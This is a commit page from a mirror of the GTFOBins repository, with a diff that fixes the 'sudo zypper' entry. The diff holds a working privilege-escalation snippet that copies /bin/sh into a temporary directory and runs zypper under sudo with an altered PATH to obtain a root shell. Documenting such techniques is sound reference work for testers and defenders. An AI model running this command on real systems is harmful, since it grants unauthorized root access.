1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Fix sudo zypper

`PATH` is a forbidden variable that is not preserved by -E anyway.
This commit is contained in:
Andrea Cardaci 2020-06-10 22:54:20 +02:00
parent 9cd6849b8e
commit b92d9e0ec2

View File

@ -16,6 +16,5 @@ functions:
- code: |
TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
sudo -E zypper x
sudo PATH=$TF:$PATH zypper x
---